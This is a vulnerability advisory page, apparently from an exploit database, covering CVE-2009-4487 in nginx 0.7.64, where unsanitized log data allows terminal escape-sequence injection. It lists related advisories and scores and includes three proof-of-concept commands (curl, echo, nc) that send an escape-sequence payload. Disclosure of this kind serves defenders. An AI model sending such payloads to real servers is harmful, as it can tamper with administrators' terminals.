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Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
 | CVE-2009-4487 affecting package nginx 1.16.1-4 | 30 Nov 202019:30 | – | cbl_mariner |
 | CVE-2009-4487 | 11 Jan 201000:00 | – | circl |
 | CVE-2009-4487 | 13 Jan 201020:00 | – | cve |
 | CVE-2009-4487 | 13 Jan 201020:00 | – | cvelist |
 | CVE-2009-4487 | 13 Jan 201020:00 | – | debiancve |
 | EUVD-2009-4454 | 7 Oct 202500:30 | – | euvd |
 | nginx 0.7.64 writes data to a log file without sanitizing non-printable characters which might allow remote attackers to modify a window's title or possibly execute arbitrary commands or overwrite files via an HTTP request containing an escape sequence for a terminal emulator. | 17 Nov 202000:00 | – | mscve |
 | An error log data are not sanitized | 13 Jan 201020:00 | – | nginx |
 | nginx < 0.7.64 / 0.8.x < 0.8.23 Multiple Vulnerabilities | 9 Mar 201800:00 | – | nessus |
| Linux Distros Unpatched Vulnerability : CVE-2009-4487 | 24 Aug 202500:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/37711/info
The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.
Attackers can exploit this issue to execute arbitrary commands in a terminal.
This issue affects nginx 0.7.64; other versions may also be affected.
The following examples are available:
curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payloadData
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23 May 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.29516